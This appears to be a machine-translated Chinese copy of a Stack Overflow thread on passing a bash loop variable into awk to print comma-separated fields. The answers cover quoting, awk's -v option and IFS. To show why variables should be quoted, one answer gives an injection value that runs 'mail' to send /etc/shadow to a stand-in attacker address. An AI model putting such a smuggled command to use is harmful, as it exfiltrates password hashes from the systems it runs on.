#!/bin/bash
index=101,102,103,104,105
/bin/echo "$index" | /bin/awk -F\, '{print $2}'
上面是我的shell脚本,(这只是一个演示它不应该是静态的)当我执行它时它返回值“102”它是对的。
#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -F\, '{print $i}'
done
我想逐个打印所有数字......我错了?
我使用“null”saprated值进行了一些更改...现在我想要做出哪些更改? 获取和增加$ i的值?
output of *some command*
1013
1023
12324
13224
3122
2421
#!/bin/bash
index=*some command*
i=1
for LINE in ${OUTPUT} ; do
ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="\n" '{print $i}')
i=`expr $i + 1`
done
答案 0 :(得分:3)
单引号不允许变量扩展。因此"$i"
扩展为$i
的值,但'$i'
是文字$i
。
假设变量将在脚本中正确扩展,这通常是不安全的。您不希望将脚本放在双引号中。相反,使用awk的$i
选项将-v
的值传递到awk脚本中。
#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5; do
echo "$index" | awk -F, -vi="$i" '{print $i}'
done
由于这是一个示例,并且我不确定您真的将使用for循环生成$i
的值,您应该记得放双引号在$i
左右,如果它包含空格或其他奇怪的字符,你不会破坏你的脚本并意外地执行你不想要的东西。虽然并不总是必要的,但总是建议在bash中引用变量。谨慎≈良好。如果$i
的值为"1;mail h4x0r@example.net < /etc/shadow;true"
,那么您将面临危险,没有引号。使用引号,您只需要一个失败的脚本。
答案 1 :(得分:1)
您必须将i
的值传递给awk:
#!/bin/bash
index=101,102,103,104,105
for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -v i=$i -F\, '{print $i}'
done
否则,awk不知道脚本中的值i
,默认情况下它取值0
。所以它打印就像你说$0
。
答案 2 :(得分:1)
或者像这样
#!/bin/bash
index=101,102,103,104,105
IFS=','
for x in $index
do
echo "$x"
done
IFS将在您的案例中定义分隔符“,”。然后你可以浏览元素(如数组)
答案 3 :(得分:-1)
使用双引号,以便shell扩展$i
。然后,您必须引用美元符号,以防止扩展$$
:
awk -F, "{print \$$i}"